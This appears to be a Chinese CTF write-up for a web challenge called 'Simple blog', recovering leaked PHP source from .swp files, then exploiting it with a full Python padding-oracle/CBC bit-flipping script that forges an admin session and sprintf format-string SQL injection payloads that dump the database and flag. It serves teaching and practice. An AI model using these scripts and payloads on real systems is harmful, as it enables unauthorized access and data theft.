美文网首页
Simple blog

Simple blog

作者: wuli_decade | 来源:发表于2018-10-24 23:42 被阅读0次

    Task

    A simple blog .To discover the secret of it.
    http://111.231.111.54/

    Solution

    源码泄露

    http://111.231.111.54/.login.php.swp
    http://111.231.111.54/.admin.php.swp

    下载下来后,用vim -r恢复,得到源代码:

    login.php

    <?php
    error_reporting(0);
    session_start();
    define("METHOD", "aes-128-cbc");
    include('config.php');
    
    function show_page(){
        echo '省略';
    }
    
    function get_random_token(){
        $random_token = '';
        $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
        for($i = 0; $i < 16; $i++){
            $random_token .= substr($str, rand(1, 61), 1);
        }
        return $random_token;
    }
    
    function get_identity(){
        global $id;
        $token = get_random_token();
        $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
        $_SESSION['id'] = base64_encode($c);
        setcookie("token", base64_encode($token));
        if($id === 'admin'){
            $_SESSION['isadmin'] = 1;
        }else{
            $_SESSION['isadmin'] = 0;
        }
    }
    
    
    function test_identity(){
        if (isset($_SESSION['id'])) {
            $c = base64_decode($_SESSION['id']);
            $token = base64_decode($_COOKIE["token"]);
            if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
                if ($u === 'admin') {
                    $_SESSION['isadmin'] = 1;
                    return 1;
                }
            }else{
                die("Error!");
            }
        }
        return 0;
    }
    
    if(isset($_POST['username'])&&isset($_POST['password'])){
        $username = mysql_real_escape_string($_POST['username']);
        $password = $_POST['password'];
        $result = mysql_query("select password from users where username='" . $username . "'", $con);
        $row = mysql_fetch_array($result);
        if($row['password'] === md5($password)){
            get_identity();
            header('location: ./admin.php');
        }else{
            die('Login failed.');
        }
    }else{
        if(test_identity()){
            header('location: ./admin.php');
        }else{
            show_page();
        }
    }
    ?>
    

    admin.php

    <?php
    error_reporting(0);
    session_start();
    include('config.php');
    
    if(!$_SESSION['isadmin']){
        die('You are not admin');
    }
    
    if(isset($_GET['id'])){
        $id = mysql_real_escape_string($_GET['id']);
        if(isset($_GET['title'])){
            $title = mysql_real_escape_string($_GET['title']);
            $title = sprintf("AND title='%s'", $title);
        }else{
            $title = '';
        }
        $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
        $result = mysql_query($sql,$con);
        $row = mysql_fetch_array($result);
        if(isset($row['title'])&&isset($row['content'])){
            echo "<h1>".$row['title']."</h1><br>".$row['content'];
            die();
        }else{
            die("This article does not exist.");
        }
    }
    ?>
    

    经过测试,存在账号和密码,分别为admin和admin。在login.php页面登陆后会跳转到admin.php。默认情况下,由于并非真实admin,在跳转后会显示you are not admin.

    CBC翻转字节攻击

    image.png

    参考:
    初学Padding Oracle Attack-----重点看这个
    CBC字节翻转攻击
    CBC字节翻转攻击-101Approach

    脚本:

    import requests
    import base64
    url='http://111.231.111.54/login.php'
    N=16
    
    def inject_token(token):
        header={"Cookie":"PHPSESSID="+phpsession+";token="+token}
        result=requests.post(url,headers=header)
        return result
    
    def xor(a, b):
        return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
    
    def pad(string,N):
        l=len(string)
        if l!=N:
            return string+chr(N-l)*(N-l)
    
    def padding_oracle(N):
        get=""
        for i in xrange(1,N+1):
            for j in xrange(0,256):
                padding=xor(get,chr(i)*(i-1))
                c=chr(0)*(16-i)+chr(j)+padding
                result=inject_token(base64.b64encode(c))
                if "Error!" not in result.content:
                    get=chr(j^i)+get
                    break
        return get
    
    def login(url):
        payload = {
            "username":"admin",
            "password":"admin"
        }
        coo1 = {
            "PHPSESSID":"j297k7o6d8stcbvi2c23naj5j6"
        }
        r = requests.post(url,cookies=coo1,data=payload,allow_redirects=False)
        token = r.headers['Set-Cookie'].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
        session = "j297k7o6d8stcbvi2c23naj5j6"
        return session, token
    
    while 1:
        phpsession,token = login(url)
    
        middle1=padding_oracle(N)
        print middle1
        print "\n"
        if(len(middle1)+1==16):
            for i in xrange(0,256):
                middle=chr(i)+middle1
                print "token:"+token
                print "middle:"+middle
                plaintext=xor(middle,token);
                print "plaintext:"+plaintext
                des=pad('admin',N)
                tmp=""
                print des.encode("base64")
                for i in xrange(16):
                    tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i]))
                print tmp.encode('base64')
                result=inject_token(base64.b64encode(tmp))
                # print result.content
                if "Login Form" not in result.content and "Error" not in result.content:
                    print result.content
                    print "success"
                    exit()
    
    image.png image.png

    格式化串sql注入

    spintf(),是一个格式化字符串函数,传入的字符可覆盖自身参数

    参考:
    WordPress SQLi谈PHP格式化字符串问题
    本地测试:

    <?php
    // 注format中,为防止 $ 被转义,在前面加了转义符。对于sprintf来说,即 %1$s
    $format1 = "hello,%1\$s one<br/>";
    $format2 = "hello,%2\$s two<br/>";
    $format3 = "hello,%1\$\' three<br/>";
    $format4 = "hello,%\$\' four<br/>";
    
    print_r("format string 1 : ".$format1);
    print_r("Result: ".sprintf($format1,"chybeta-1","chybeta-2"));
    
    print_r("format string 2 : ".$format2);
    print_r("Result: ".sprintf($format2,"chybeta-1","chybeta-2"));
    
    print_r("format string 3 : ".$format3);
    print_r(sprintf($format3,"chybeta-1","chybeta-2"));
    
    print_r("format string 4 : ".$format4);
    print_r(sprintf($format4,"chybeta-1","chybeta-2"));
    ?>
    
    image.png

    前两个示例是演示选择参数的用法。第三个和前两个比较,变成类型%\,会直接跳过不处理,并直接输出。第四个和第三个对比,少了参数选择,这会导致报错,无法正常打印

    通过百分号后的1,选择了一个参数(即id)不会爆错。利用类型%\,使得跳过。而原本在\后面的单引号,由于前面斜杠被当作了sprintf的类型,得以成功逃逸。

    剩下的工作就是盲注了.

    id=3&title=%1$ 'union select 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version(),@@hostname,@@datadir)#
    id=3&title=%1$ 'union select 1,2,group_concat(distinct(table_name)) from information_schema.tables where table_schema=0x77656231#
    id=3&title=%1$ 'union select 1,2,group_concat(distinct(column_name))  from information_schema.columns where table_name=0x6b6579 and table_schema=0x77656231#
    id=3&title=%1$ 'union select 1,2,group_concat(distinct(f14g)) from web1.key#
    

    数据库:web1
    表名:key
    字段名:f14g

    image.png

    小结

    ~··源码泄露
    ~··CBC翻转字节攻击
    ~··格式化串sql注入

    相关文章

      网友评论

          本文标题:Simple blog

          本文链接:https://www.haomeiwen.com/subject/gzcamftx.html